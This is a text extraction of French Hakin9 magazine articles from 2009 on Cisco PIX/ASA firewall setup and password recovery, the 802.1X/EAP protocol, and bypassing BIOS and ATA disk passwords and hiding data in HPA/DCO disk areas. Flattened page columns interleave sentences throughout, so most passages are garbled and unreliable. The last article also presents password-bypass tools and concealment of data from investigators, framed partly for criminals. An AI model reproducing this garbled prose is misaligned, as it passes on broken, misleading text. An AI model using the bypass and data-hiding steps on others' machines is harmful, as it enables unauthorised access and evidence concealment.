ciscoasa(config)# adsm image flash:/asdm-524.bin l'autre. Vous pouvez vérifier la présence
ciscoasa(config)# asdm location IP_Autorisé Masque inside
ciscoasa(config)# exit
et l'état de la communication grâce aux
ciscoasa# write memory commandes show crypto isakmp sa
et show crypto ipsec sa .
À noter qu'il est nécessaire de
configurer de la même manière l'autre
ASA situé dans la filiale en inversant les
adresses sources et destinations dans
les access-list VPN-Filiale et NONAT.
Vous pouvez comparez avec le Listing 4
les sorties de débuguages lors de
l'établissement de la connexion.
activation-key xxxxxxxx
######## aaaaaaaa bbbbbbbb
Figure 5. L’outil packet-tracer
Que faire en cas de perte
de configuration et mot de
192.168.1.1 10.1.1.1
passe
192.168.2.1
Dans cette partie nous allons voir comment
contourner les problèmes de perte de
Internet mot de passe ou en cas de situation
de blocage suite à un problème de
ASA siège configuration AAA sur les Cisco PIX et ASA.
10.2.2.1 ASA filiale
54 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO
vous aurez besoin du câble console, Enregistrez la valeur du registre de Mise à jour de l'IOS
d'un ordinateur avec un terminal configuration afin de pouvoir la restaurer Nous allons voir dans cette partie
(hyperterminal par exemple) et d' environ par la suite. comment réaliser les mises à jour de
dix minutes pendant lesquels le PIX sera Au prompt, validez avec la touche [Y] l'IOS de notre pare-feu. Ces mises à jour
hors de service. afin de changer la valeur. Accepter ensuite vont nous apporter des améliorations
Ensuite, vous aurez besoin de l'utilitaire toutes les valeurs par défaut proposés en et fonctions supplémentaires. Au
Password Lockout Utility afin de réaliser la pressant [Y] sauf celle qui s'intitule disable fil des versions des fonctionnalités
procédure de récupération. Vous trouverez system configuration. Utilisez ensuite particulièrement intéressantes sont
cet outil sur le site de Cisco. la commande boot afin de relancer le apparues, citons entre autre l'outil
Téléchargez la version de l'outil boitier. Le pare-feu chargera alors une pour déboguer les ACL packet-tracer
correspondant à votre version d'IOS configuration par défaut à la place de permettant de simuler et suivre le
et placez le à la racine de votre serveur la configuration de démarrage. Une fois cheminement d'un paquet au travers du
TFTP. Connecter ensuite le PIX à l'ordinateur chargé, entrez en mode privilégié à l'aide de pare-feu, le basculement automatique
par l'intermédiaire du câble série la commande enable et valider sans entrer vers un lien de secours en cas de panne
et connectez-vous grâce à l'hyperterminal. de mot de passe. Il ne nous reste plus qu'à ou encore les fonctionnalités de VPN SSL,
Ensuite mettez en marche le PIX, appuyez charger votre configuration et bien d'autre.
sur la combinaison de touche [Ctrl] + et à changer les mots de passe. La Pour commencer, nous allons faire
[C ] ou [Esc], dès que le message de commande copy startup-config migrer un PIX de la version 6.x vers la
démarrage apparaît. running-config va effectuer la copie de version ASA 7.0
Le prompt du mode monitor s'affiche votre configuration depuis la mémoire
alors. A l'aide des commandes address, de démarrage (startup). Entrez ensuite Mise à jour d'un PIX vers la
server, et file et enfin tftp afin de en mode de configuration à l'aide de version ASA
transférer l'outil récupération de mots de configure terminal et changez les mots de Seul les PIX 515, 515E, 525 et 535
passe sur le PIX. passe avec passwd , enable password , supportent la version 7.0 de l'IOS. Cisco
Une fois copié, l'outil vous demandera et username. Vous avez maintenant recommande que le PIX soit au minimum
si les mots de passe doivent être écrasés, changez les valeurs, reste à faire en version 6.2 avant de procéder à la mise
confirmé avec y. redémarrer votre ASA dans sa configuration à jour et de respecter les configurations
Après l'écrasement des mots normale avec ses nouveaux mots de nécessaires.
de passe, le mot de passe pour les passe. Pour ce faire, nous allons restaurer Tout d'abord, avec un show version
connexions Telnet sera cisco et il n'y aura la valeur du registre (config-register assurez-vous d'abord suffisamment de
plus de mot de passe pour entrer en <valeur _ registre>) que nous avions RAM dans votre PIX (Tableau 4).
mode privilégié. Il ne vous restera plus qu'à noté un peu plus haut. Enfin pour terminer, Il convient également de vérifier que
utilisez les commandes passwd et enable copier la configuration avec les nouveaux vous disposez de suffisamment de flash
password afin de mettre en place vos mot de passe dans la startup avec afin de contenir la nouvelle image, pour
nouveaux mots de passe. copy running-config startup-config. ce faire, consultez le tableau ci-dessous
Redémarrer votre ASA et le tour est joué. (Tableau 5).
Pour un ASA
Cette procédure permettra de remplacer
Listing 3 Commande pour réaliser l’interconnexion VPN
les mots de passe sur un ASA suite à la
perte de ceux-ci. Tout d'abord connectez- access−list Siege2Filiale permit ip 192.168.1.0 255.255.255.0 192.168.2.0
255.255.255.0
vous à l'aide du câble console, éteignez
access−list nonat permit ip 192.168.1.0 255.255.255.0 192.168.2.0
et rallumez l'ASA. Quand les messages de 255.255.255.0
démarrage apparaitront, appuyez sur la nat (inside) 0 access−list nonat
touche Echap. sysopt connection permit−ipsec
crypto ipsec transform−set ts_filiale esp−3des esp−sha−hmac
Au prompt, utilisez la commande crypto ipsec security−association lifetime seconds 3600
confreg afin d'ignorer la configuration crypto map VPN-Filiale 20 ipsec−isakmp
de démarrage. Le message suivant crypto map VPN-Filiale 20 match address ipsec
crypto map VPN-Filiale 20 set peer 10.2.2.1
apparaitra :
crypto map VPN-Filiale 20 set transform−set ts_filiale
crypto map VPN-Filiale interface outside
Current Configuration Register: isakmp enable outside
0x00000011 isakmp key clefsiege2filiale address 10.2.2.1 netmask 255.255.255.255
isakmp identity address
Configuration Summary:
isakmp policy 20 authentication pre−share
boot TFTP image, boot default image isakmp policy 20 encryption 3des
from Flash on netboot failure isakmp policy 20 hash sha
isakmp policy 20 group 2
Do you wish to change this
configuration? y/n [n]:
1/2009 HAKIN9 55
PRATIQUE
La mise à jour de la version 6.x à 7.0 va • Assurez-vous de ne pas avoir de dans la version 7.0,
demander un peu de travail mais avant de commandes conduit ou outbound • Assurez-vous que le PIX ne soit pas un
commencer nous devons nous assurer de dans votre configuration. En effet ces point de terminaison d'une connexion
quelques petites choses : commandes ne sont plus présentes PPTP,
56 HAKIN9 1/2009
DÉBUTER AVEC UN PARE FEU CISCO
• Copier les certificats électronique pour prendre la précaution d' effectuer une
les connections VPN sur le PIX avant de sauvegarde de notre configuration avec Sur Internet
débuter la mise à jour, la commande write net . Ainsi, nous • www.cisco.com – Site de Cisco,
• Télécharger la version 7.0 depuis le site pourrons vérifier que tout à été converti • www.fcug.fr – French Cisco Users Group,
Cisco. et que rien ne manque. • www.wikipedia.org – Wikipedia.
Commencons :
Durant la mise à jour les commandes
de la version 6.x vont être convertis pour • Placer le binaire de l'IOS 7.0 à la racine consultez le tableau concernant les
fonctionner avec la version 7.0. Nous allons de votre serveur TFTP, quantités de mémoire requise (Tableau 6
• Connectez-vous au PIX en mode et Tableau 7).
Tableau 4. Mémoire nécessaire pour mise monitor à l'aide du cable console
à jour d’un PIX en fonction de sa licence
(recommandé) afin de visualiser les Remarque concernant les PIX
Licence Licence éventuels messages d'erreur lors du Dans le cas des PIX 525 et 535, il est
Restricted Unrestricted rechargement de la configuration, également nécessaire de vérifier que le
PIX 515 / • Puis sur l'interface inside assignez une fichier de configuration ne dépasse pas une
515E 64 MB 128 MB
adresse ip, une passerelle (optionnel) taille de 2MB. Dans le cas des PIX 515/515E
PIX 525 et surtout l'adresse du serveur TFTP la taille du fichier de configuration est limité
128 MB 256 MB
à l'aide des commandes suivantes : à 1MB. Si vous prévoyez d'utiliser ADSM,
PIX 535 Cisco recommande de limiter la taille du
512 MB 1 GB
interface <numéro_interface> fichier de configuration à 500 KB.
address <adresse_ip_pix> Une fois ces quelques précautions
Tableau 5. Quantité nécessaire de server <adresse_serveur_tftp> prises, nous pouvons rentrer dans le
mémoire Flash pour la mise à jour IOS 7.x
gateway <ip_paserelle> vif du sujet. Tout d'abord, effectuez une
Modèle de Mémoire Flash requise file <nom_image_sur_serveur_TFTP> sauvegarde de votre configuration puis
pare-feu PIX pour la version 6.3 téléchargez l'image de l'IOS sur le site de
PIX515/515E 16 Mb • Il ne reste plus qu'à lancer la copie Cisco et enregistrez l'image à la racine
PIX 525 avec l'aide de la commande tftp, de votre serveur tftp. Ensuite à l'aide de la
16 Mb • Une fois la copie effectuée, le PIX va commande copy tftp flash, copiez le
PIX 535 redémarrer. Pendant le redémarrage binaire dans la flash et enfin modifiez la
16 Mb suivez bien le chargement et surtout la commande de chargement de l'IOS depuis
conversion de la configuration et relevez le mode de configuration à l'aide de la
Tableau 6. Mémoires nécessaire pour la l'ensemble des messages d'erreur afin commande boot system flash:/<nom _
mise à jour en IOS 8.x pour un PIX de pouvoir résoudre les problèmes fichier _ ios> . Il ne vous reste plus qu'à
Modèle Quantité de Quantité de rencontrés, redémarrer votre pare-feu à l'aide de la
de PIX mémoire mémoire • Vous aurez la possibilité de consulter commande reload . Une fois l'IOS mis
vive flash les erreurs de configuration par la à jour, pensez à mettre à jour ADSM si vous
requise(MB) requise(MB) suite à l'aide de la commande show souhaitez l'utiliser.
PIX 64 16 startup−config errors,
515/ • A l'issue du redémarrage vous devez Conclusion
515E copier l'image dans la flash avec la L'utilisation de plus en plus intensive
PIX 128 16 commande copy tftp flash, d'Internet, la mise à disposition de services
525 • La mise à jour de votre PIX en version ou bien encore la communication entre
PIX 512 16 7.0 est maintenant accomplie. sites géographiques sont des besoins
535 de plus en plus présents au sein des
Mise à jour d'une version 7.x entreprises. Ces besoins entrainent des
Tableau 7. Mémoire nécessaire pour la vers la version 8.0 risques importants pour la sécurité et
mise à jour en IOS 8.x pour un ASA Nous allons voir ici comment faire la mise la confidentialité des informations d'une
Modèle Quantité de mémoire vive à jour de notre PIX/ASA en version 8.0. entreprise. Les pare-feux sont donc
ASA nécessaire (MB) Nous serons obligé de faire quelques devenus des outils indispensables dont la
différences entre le PIX et l'ASA. maîtrise du fonctionnement est un élément
5505 256
primordial.
5510 256 Logiciel et matériel nécessaires
5520 512 Que vous souhaitez mettre à jour un PIX Alexandre Chaigneau
5540 1024 ou un ASA, il est nécessaire d'être en Administrateur réseau depuis 3 ans dans une grande
association française présente sur l'ensemble du
IOS 7.2 minimum, si ce n'est pas le cas, territoire. Il est chargé d'assurer l'administration des
5550 4096
commencez par le mettre à jour. Ensuite systèmes et réseaux de l'ensemble de l'association.
1/2009 HAKIN9 57
PRATIQUE
NICOLAS RENARD
Fonctionnement
et implémentation du
protocole 802.1x
Degré de difficulté
L
es réseaux actuels permettent une très Le contrôle des accès au réseau permet
grande mobilité des utilisateurs. En effet d’introduire de nouvelles possibilités :
il est très facile pour quelqu’un d’avoir un
accès physique et logique au réseau grâce • l’authentification des utilisateurs et/ou des
à l’utilisation de technologies telles que DHCP. machines se connectant au réseau,
Les besoins de sécurité posent alors un • l’association de politique de sécurité à des
nouveau challenge : sécuriser toujours plus les groupes d’utilisateurs,
accès au réseau tout en gardant cette liberté • la limitation à tout ou partie du réseau pour
de mobilité des utilisateurs. certains groupes d’utilisateurs,
On va donc lui associer des politiques de • l’association de paramètres additionnels
sécurité liées à son profil ou à son groupe tels que la qualité de service au niveau
d’appartenance. 802.1X va permettre de du port, basée sur le profil de l’utilisateur
CET ARTICLE
EXPLIQUE... sécuriser l’accès directement au niveau connecté.
physique du réseau en autorisant ou non un
Le fonctionnement du protocole
802.1X. utilisateur à y accéder avant qu’il soit connecté Ce protocole est aussi utilisé pour certains
Le fonctionnement de sur celui-ci. points d'accès WiFi.
l'authentification sur 802.1X via Avant de continuer, quelques repères Son principal avantage est qu’il peut
le protocole EAP (Extensible
Authentication Protocol). historiques dans la standardisation : restreindre l’accès des utilisateurs et des
La configuration d'une borne équipements non autorisés sur un LAN ou un
cisco Aironet et d'un client Linux. • 1994-2003 : PPP (nombreuses RFC), MAN. Une fois l’authentification validée, seul
Configuration d’un client 802.1X • 1997-2000 : RADIUS (RFC2058-2138-2865), le protocole EAPoL (Extensible Authentication
pour une connexion au réseau
Wifi sous MacOS/Windows/Linux
• 1998 : EAP (RFC2284-3748), Protocol over Lan) permet la communication
• 2001 : 802.1X. entre le commutateur et les autres équipements
CE QU'IL FAUT et les données peuvent transiter en
SAVOIR... IEEE 802.1X est un standard de l'IEEE basé sur communicant sur le port Ethernet. Le modèle
Connaître les commandes de EAP (RFC 2284 et plus précisément RFC 3748) et les concepts du standard IEEE
base et le fonctionnement du
système CISCO. pour le contrôle d'accès au réseau basé sur Dans le fonctionnement du protocole,
Connaissance réseau Ethernet les ports. Il s’agit d’une partie du groupe de les trois entités qui interagissent sont le
TCP/IP. protocoles IEEE 802 (802.1). Ce protocole est système à authentifier (supplicant), le système
Connaître le fonctionnement basé sur le mode client/serveur et fournit une authentificateur (authenticator system ou
d'un serveur RADIUS et le
fonctionnement d'un serveur
authentification aux équipements ou utilisateurs pass-through authenticator) et un serveur
d'autorité de certification. connectés à un port Ethernet sur un commutateur. d’authentification (authentication server).
58 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X
Le système authentificateur contrôle une Dans cette phase d’authentification authentificateur donne l’accès
ressource disponible via le point d’accès 802.1X, le système authentificateur à la ressource qu’il contrôle. Le
physique au réseau, nommé PAE (Port se comporte comme un mandataire serveur d’authentification va gérer
Access Entity). Le système à authentifier (proxy) entre le système à authentifier l’authentification proprement dite, en
souhaite accéder à cette ressource, il doit et le serveur d’authentification ; si dialoguant avec le système
donc pour cela s’authentifier. l’authentification réussit, le système à authentifier en fonction du protocole
d’authentification utilisé. Le commutateur
Tableau 1. Format d'une Trame EAP. n’effectuera aucune fonction
Code ID Longueur Données d’authentification et n’entrera pas dans
1 octet 1 octet 2 octet N octet l’interprétation du protocole EAP pour
l’authentification mais se contentera
simplement d’extraire l’information EAP
de la trame 802.1x et de la mettre dans
une trame Radius en direction du server
qui fera l’authentification (Figure 1, 2).
802.1x
Switch
La circulation
des informations
Host (Supplicant) AAA Server
d’authentification
Authenticator Authentication Server Le standard 802.1X s'appuie sur les
standards déjà existants. Le dialogue
entre le système authentificateur
et le système à authentifier se fait en
utilisant le protocole EAP (PPP Extensible
Authentification Protocol défini par
802.1x EAP le RFC2284). Les paquets EAP sont
transportés dans des trames Ethernet
Radius traffic spécifiques appelé EAPOL (EAP Over
Lan), dans lesquelles s’ajoutes un
numéro de type spécial: 88FE qui va
ainsi permettre une encapsulation
Figure 1. Les trois entités intervenant dans 802.1X directement d’EAP dans Ethernet.
Service de relais
Automate de trames Automate Automate
de demande Ethernet authentificateur serveur
d'authentifivation d'authentification
Trames EAPOL
Paquets Radius-EAP
LAN (support physique)
1/2009 HAKIN9 59
PRATIQUE
Aujourd’hui, un certain nombre de Le commutateur n’ayant pas besoin de Trois autres états existent :
protocoles EAP existent ; En voici dialoguer en EAP, mais seulement de
quelques uns : EAP-TLS, EAP-MD5, EAP- relayer l’information. • Force-authorized : Si le client supporte
TTLS, PEAP, EAP-FAST, LEAP. Le dialogue entre le système le 802.1x standard, l’authentification est
Les principales différences entre ces authentificateur et le serveur réussie, si toutefois il ne le supporte
protocoles concernent essentiellement d’authentification va se faire par une pas, le client sera connecté à un
le type d’authentification utilisé « ré-encapsulation » des paquets réseau restreint (Guest –VLAN),
(Utilisateur/mot de passe, certificat, OTP), EAP afin d’être compris par le serveur • force-unauthorized : Le port reste
la possibilité d’utiliser un tunnel chiffré d’authentification. Cependant, une bloqué même si l’authentification a
pour les échanges d’authentification analyse des informations contenues réussi,
ainsi que la possibilité pour le ser veur dans les paquets EAPOL est aussi faite • auto : L’interface a le statut bloqué par
Radius de relayer l’authentification à des afin d’informer le commutateur de l’action défaut (seules les trames EAPOL* sont
serveurs tiers externes (AD, LDAP, OBDC, à effectuer sur le port : autorisées à transiter), mais si le client
NDS…) réussit l’authentification, il est autorisé
Une fois le protocole EAP choisi, il • Autorisée : Le port est disponible pour à se connecter au réseau (le port
conviendra de contrôler la compatibilité le trafic réseau, passe dans l’état up). À l’inverse, si
du serveur Radius et du supplicant sur • non autorisée : Le port est désactivé l’authentification échoue, le port reste
les ordinateurs clients avec ce protocole. pour tout trafic réseau. bloqué.
Tableau 2. Tableau des terminologies
Termes Définitions
PPP Point to Point Protocol.
est un protocole de transmission pour l'internet, décrit par le standard RFC 1661, fortement basé sur HDLC,
qui permet d'établir une connexion de type liaison entre deux hôtes sur une liaison point à point. Il fait partie
de la couche de liaison (couche 2) du modèle OSI.
RADIUS Remote Authentication Dial-In User Service.
Protocole client-serveur permettant de centraliser des données d'authentification
LDAP Lightweight Directory Access Protocol est à l'origine un protocole permettant l'interrogation et la modification
des services d'annuaire. Ce protocole repose sur TCP/IP. Il a cependant évolué pour représenter une norme
pour les systèmes d'annuaires, incluant un modèle de données, nommage, fonctionnel et un modèle de
sécurité et de réplication.
EAP Extensible Authentication Protocol.
Mécanisme d'identification universel
IEEE 802.1X IEEE 802.1X est un standard de l'IEEE pour le contrôle d'accès au réseau basé sur les ports
RFC Requests For Comment.
Littéralement demande de commentaires, sont une série numérotée de documents électroniques
documentant les aspects techniques d’Internet, de protocoles etc.
EAPoL Extensible Authentication Protocol over Lan.
Permet la communication entre le commutateur et les autres équipements et les données peuvent transiter
en communicant sur le port Ethernet.
Supplicant Système à authentifier.
Authenticator system Système authentificateur.
Authentication server Serveur d’authentification Radius par exemple.
PAE Port Access Entity.
OTP One Time Password.
Solution d'authentification utilisant des mots de passe à usage unique.
AD Active Directory.
Service d’annuaire de Microsoft.
EAP-TTLS EAP-Tunneled Transport Layer Security
PEAP Protected Extensible Authentication Protocol ou Protected EAP.
EAP-Packet Paquet de dialogue EAP.
EAP-Start Authentification explicitement demandée par le système qui s’authentifie.
EAP-Logoff Fermeture du port contrôlé explicitement demandée par le système qui s’authentifie.
60 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X
802.1x
802.11 802.3
1/2009 HAKIN9 61
PRATIQUE
• nak : refus d’un type d’authentification
et proposition d’un autre, Sur Internet
• MD5-Challenge : défi (challenge) ou • http://2003.jres.org/
réponse (idem authentification Chap), • RFC2284: PPP Extensible Authentication Protocol (EAP)
• one-Time-Password : défi ou réponse, • RFC2865 à RFC2869: Radius
• generic Token Ring Card : défi ou • http://www.faqs.org/rfcs/rfc3580.html
réponse. • http://cri.univ-mlv.fr/wifi/html/conf-802.1x-windows-XP.html
• http://criterdoc.univ-st-etienne.fr/index.php/Connexion_WIFI_802.1x_sous_Linux
• http://criterdoc.univ-st-etienne.fr/index.php/Connexion_WIFI_802.1x_sous_Windows_XP
Les trames EAPOL : L’encapsulation • http://fr.wikipedia.org/wiki/Extensible_Authentication_Protocol#EAP-TLS
EAPOL est définie pour les trois types de • Cursus Cisco Network Security 1
réseaux suivants : 802.3/Ethernet MAC, • http://www.cisco.com/web/FR/solutions/CiscoMag/2008/06.html
802.5/Token Ring et FDDI/MAC • http://www.ietf.org/
et peuvent être de quatre types :
62 HAKIN9 1/2009
FONCTIONNEMENT ET IMPLÉMENTATION DU PROTOCOLE 802.1X
1/2009 HAKIN9 63
VINCENT LE TOUX
BACKUP
Protéger
l’accès à ses données
Degré de difficulté Il est de notoriété publique qu’il est possible de récupérer les
données effacées et même de ressusciter certains disques.
Cette récupération avancée peut être réalisée à des fins de
preuve ou d’espionnage. Comment les pirates se protègent et
de quelles manières les enquêteurs aboutissent à leur fin ?
A
vec la démocratisation de l’informatique, Si ce contrôle arrête les novices, il existe
de plus en plus de données sensibles plusieurs façons de le contourner. Tout d’abord,
sont conçues et utilisées sur les des Super Mot de passe (master password)
ordinateurs. Bien évidement, lorsqu’on est un définis par le constructeur peuvent être saisis à la
criminel, on doit protéger ses données à tout place du mot de passe original pour débloquer
prix sous peine qu’elles puissent être utilisées l’ordinateur en cas d’oubli.
comme preuves. Ensuite il est possible de réinitialiser la
Nous allons présenter quels sont les mémoire du BIOS et donc d’effacer le mot de
moyens permis par le matériel afin de protéger passe par des attaques matérielles (enlèvement
les données et comment les laboratoires de la batterie ou jumper à positionner) ou
d’investigations procèdent pour y avoir finalement logicielles (programme killcmos ou via des
accès, partiellement ou complètement. Nous commandes fournies au programme debug).
n’oublierons pas non plus de montrer comment Seulement sur certains ordinateurs portables, ces
assurer leur destruction. techniques ne fonctionnent pas.
En effet, les mots de passe sont stockés dans
Protection du BIOS une mémoire non volatile et le super mot de
Le BIOS est le premier programme lancé passe est formé à partir des identifiants uniques
au démarrage de l’ordinateur. Il se charge de l’ordinateur (numéro de série par exemple).
d’initialiser le matériel et de passer le contrôle Quelles sont les options qui s’offrent à un
au système d’exploitation. Quel rapport avec enquêteur ? Il y en a deux. La première consiste
les données ? Car en tant que premier maillon à contourner cette sécurité. Par exemple en
de la chaîne, il est garant de toute la sécurité s’attaquant directement aux disques en les
précédant l’amorçage du système et il faut noter connectant sur un autre pc.
CET ARTICLE
EXPLIQUE... que quelques fonctions de sécurité y ont été Mais il est possible qu’il y ait d’autres mots de
implémentées. passe à saisir et que le mot de passe du BIOS
Comment protéger l'accès à ses
données. Pour accéder à ces paramètres, il faut soit le même. D’où l’idée de récupérer ce mot de
Quelles sont les méthodes de appuyer lors de la mise sous tension sur une passe.
contournement. touche spéciale, généralement la touche SUPPR, Cette récupération s’effectue en deux
puis aller dans le menu sécurité. L’exemple phases. La première consiste à démarrer le
CE QU'IL FAUT
SAVOIR... présenté à la Figure 1 montre les choix pc sur une disquette grâce à un super mot
Des notions sur le stockage de
disponibles dont notamment la possibilité de de passe. La deuxième consiste à réaliser un
données. définir un contrôle d’accès au démarrage. dump de la mémoire du BIOS et à en extirper
64 HAKIN9 1/2009
PROTÉGER MATÉRIELLEMENT L’ACCÈS À SES DONNÉES
le mot de passe grâce au programme données stockées dessus. Il existe enfin disposent plus de disquettes, qu’il est
cmospwd écrit par Christophe Grenier. une commande bloquant le changement possible d’émuler cet environnement avec
Une récupération est illustrée à la Figure des paramètres de sécurité jusqu’au une clé USB formatée avec l’outil HP USB
2. A noter qu’il faut connaître le BIOS prochain redémarrage. Disk Storage Format Tool ou avec un cd
en question et que le mot de passe est Sur les ordinateurs portables bootable.
retranscrit par défaut avec un clavier compatibles, cette protection est très Après la sélection du disque, toutes
qwerty. facile à mettre en place. Dans le BIOS les commandes permettant d’agir sur la
Dans cet exemple, à la ligne Award 6, illustré Figure 1, on voit comment il sécurité sont regroupées sous le menu
le mot password est retranscrit sous la est possible d’activer cette protection. Security. Il suffit juste d’utiliser Set password
forme pqsszord. Il peut y avoir une étape Malheureusement, il est rare que les pour l’activer.
supplémentaire : récupérer le super mot de constructeurs permettent de régler le Cette fonctionnalité reste néanmoins
passe grâce à son numéro de série. Dans niveau sur maximum et par conséquent difficile à utiliser en pratique.
le cadre d’une procédure judiciaire, l’expert les disques protégés de cette manière En général, sur les ordinateurs
s’adressera directement au constructeur, sont donc vulnérables aux super mots de portables compatibles, le BIOS gèle ces
mais certains programmes existants passe. paramètres et il est donc impossible
peuvent réaliser cette opération. Le Il n’y a pas que le BIOS qui prend en de régler le niveau de sécurité. Pire, le
programme latitude.exe en est un exemple. compte cette fonctionnalité : il est possible démarrage est bloqué tant que le mot
Dans le cas où il serait stocké dans une d’utiliser des programmes pour le faire. de passe correct n’a pas été saisi et
mémoire non volatile (puce 24c02), il faut On cite généralement le programme donc en cas d’oubli, il est impossible de
utiliser un programmateur mémoire. Cette atapwd à cet effet, mais l’utilitaire hdat2 lancer la séquence d’effacement pour le
technique est beaucoup plus facile illustré Figure 3 et programmé par Lubomir débloquer.
à réaliser qu’elle en à l’air car ces Cabla donne plus d’information à ce sujet. S’il pourrait marcher en théorie branché
mémoires sont très répandues et très Pour le lancer, il faut créer une disquette en USB, la fonction n’est pas supportée
basiques : elles sont notamment installées DOS contenant le programme et démarrer par les OS. De plus, les programmes
sur les modules de RAM. dessus. On notera pour ceux qui ne interagissant avec ne fonctionnent que
On trouvera en référence un tutoriel
expliquant cette manipulation sur des
machines fabriquées par Dell.
Ata password
Tout le monde connaît les mots de passe
à saisir au démarrage avant même le
lancement du système d’exploitation, mais
il existe d’autres protections bas-niveau
peu connues et relativement efficaces.
Il faut le savoir : il est possible de définir
un mot de passe sur chaque disque
dur. Cette protection a été développée
initialement pour les disques de deux
pouces et demi, mais Microsoft a Figure 1. Représentation du BIOS d'un Dell Inspiron 5150
convaincu les constructeurs de le faire
avec tous leurs disques pour qu’ils
puissent être intégrés dans la Xbox.
Le fonctionnement est le suivant :
une fois un mot de passe défini, il est
impossible d’accéder aux données sans
fournir celui-ci et le disque n’est déverrouillé
que le temps où il est sous tension. Il y a
deux niveaux de protection.
Le niveau haut (high) permet d’utiliser
un super mot de passe en cas d’oubli
alors que le mode maximum ne le permet
pas.
La seule solution permise dans ce
cas pour le débloquer est de réaliser un
formatage bas niveau supprimant les Figure 2. Programme Cmospwd
1/2009 HAKIN9 65
BACKUP
sous DOS où le support de l’USB est Zones constructeurs Grâce à un jeu d’instruction spécialement
limité. Enfin, il arrive que le BIOS se bloque Une fois l’accès physique au disque créé, permettant d’accéder aux secteurs
tant qu’il n’a pas accès au disque, ce qui établi, le système est libre d’accéder temporairement ou de changer le numéro
a été le cas avec moi, rendant impossible à n’importe quel secteur. Il est donc du secteur d’amorçage.
la suppression de la sécurité. Bref pour potentiellement susceptible de le formater Une petite parenthèse sur l’adressage
un novice, il est fortement déconseillé de ou de modifier les partitions existantes. des disques. Vous avez dû entendre parler
l’utiliser. Or les constructeurs ont une imagination de secteurs, pistes, tête ou cylindres. En
Comment un enquêteur contourne fertile lorsqu’il s’agit d’innovation marketing. effet, il s’agit de la description physique de
cette sécurité ? Aujourd’hui la mode est à l’écolo, mais il certains médias magnétiques tels que les
Si la sécurité n’est pas mise y a quelques années la mode était aux disquettes ou disque dur. Chaque donnée
sur maximum par le mot de passe utilitaires et à la sauvegarde instantanée. est enregistrée dans un secteur d’une taille
constructeur et sinon, par le remplacement Les constructeurs ajoutaient aux disques de 512 octets.
de la carte électronique contrôlant le des logiciels, mais ceux-ci étaient Cette taille peut varier dans des
disque ou en flashant le firmware de sensibles à l’effacement. Ils ont donc créé cas particuliers, mais c’est la valeur
celui-ci. En effet, les données ne sont pas une zone spéciale nommée Host Protected généralement utilisée. Ce secteur est
cryptées au sein du disque, seul l’accès en Area (HPA) dans laquelle sont stockées ensuite positionné au sein d’une piste
est interdit. des données invisibles au système elle-même située au sein d’une tête
Si cette protection est d’un très haut d’exploitation. et d’un cylindre : c’est l’adressage CHS.
niveau pour les particuliers, elle n’arrête Concrètement, le disque est amputé On pourrait se dire qu’il est possible de
en rien les laboratoires à condition qu’ils d’une partie de sa capacité et le nombre compter le nombre de pistes/tête/cylindre
soient équipés d’appareils spécialisés ou de secteurs disponibles est réduit : cette pour en déduire la capacité réelle d’un
de stock de pièces détachées. zone est protégée. Comment y accéder ? disque.
Or chaque adresse est stockée sous
la forme de 10 bits pour le numéro de
cylindre, 8 bits pour le numéro de tête
et 6 bits pour le numéro de secteur. Il ne
peut donc y avoir plus de 2^24*512 octets
= 8Go. Pour contourner cette limitation
et supporter de nouveaux types de média
tels que les cd-rom, on utilise maintenant
l’adressage LBA.
Il s’agit tout simplement de compter les
secteurs de 0 à N-1 où N est le nombre de
secteurs du disque. La logique interne est
alors masquée par le contrôleur et il est
donc impossible de connaître la capacité
réelle d’un disque.
S’il est possible de masquer certains
secteurs, il reste bien sûr à exploiter cette
possibilité. Mais quelles zones adaptées
peut-on utiliser pour cacher des données
Figure 3. Hdat2 ? Il n’est pas permis d’utiliser un fichier ou
des secteurs précis pour allouer une zone
HPA. Du coup, impossible de masquer
une partition, car la table des partitions,
Espace libre C Données
située au début du disque, contient la
position et l’étendue des partitions au sein
du disque. Si une partition est cachée
Partition Partition
Espace
Partitions
grâce à ce moyen, il reste toujours une
libre B
MBR
GPT
66 HAKIN9 1/2009
WYMIANA
reklama
Segate
BACKUP
une partition primaire dans laquelle on les jeux d’instructions gérant le HPA sont Il est possible de l’utiliser de la même
créé une seconde table de partitions incompatibles entre ces 2 modes. Tous manière que la zone HPA mais à part
contenant la liste des partitions étendues. Il les programmes d’analyse ne gérant pas hdat2, bien peu d’utilitaires la supportent :
s’en découle que tout l’espace disque n’est tous le mode 28bits, utilisables sur les elle est donc très efficace pour cacher des
pas exploité comme illustré à la Figure 4. disques de moins de 128Go, il peut arriver données.
Or la partition primaire contenant des que cette zone ne soit pas détectée : c’est
partitions étendues n’est pas forcément actuellement le cas du Sleuth Kit . Données de maintenance
complètement exploitée et il peut exister de Le HPA est maintenant une protection Les composants électroniques sont très
l’espace libre (noté A). Il y a également des relativement connue. Mais avec la nouvelle complexes. Il suffit d’une impureté pour
interstices entre les partitions (noté B) ou norme ATA6, les constructeurs ont ajouté condamner une puce. Pour éviter cela, les
tout à la fin du disque (noté C). De part sa une nouvelle protection nommée DCO. constructeurs prévoient des redondances
conception, seul l’espace C peut être utilisé Comme le HPA, son but est de diminuer qui peuvent être utilisées au sein même
pour masquer des données au sein d’une la capacité présentée à l’utilisateur de des composants pour remplacer des
zone HPA. façon à pouvoir vendre des disques de parties défectueuses.
Pour calculer la position et la taille de 80Go comme des disques de 40Go par Les disques durs suivent la même
cette cache sur le disque, il est nécessaire exemple. logique. En effet, juste après la fabrication,
savoir combien d’espace il reste à la fin du
disque. L’utilitaire fdisk affublé de l’option –l
nous est d’un grand secours en affichant
la table des partitions et la position de
chaque partition. Il suffit de prendre le plus
grand bloc alloué incrémenté de un et
de le convertir en octets. Dans l’exemple
affiché Figure 5, (7600 + 1) * 8 388 608 =
63 761 809 408 octets sur un disque d’une
capacité totale de 100Go octets. On sait
que dans ce cas, on peut exploiter environ
35Go.
Il reste bien sûr à utiliser cet espace
sans créer de partition. Du côté Linux, la
fonctionnalité introduite dans le noyau 2.6
device mapper permet la résolution de ce
challenge de façon élégante. On crée un
périphérique block avec losetup avec un
offset égal au premier octet de l’espace
caché (exemple ici à 80 000 000 000)
puis on le réutilise avec une commande Figure 5. Création d'un espace caché avec device mapper
dmsetup où la taille est celle de la zone
à masquer. Attention : cette dernière taille
est à fournir en secteurs. (On multiplie par
512 le nombre de secteurs pour obtenir
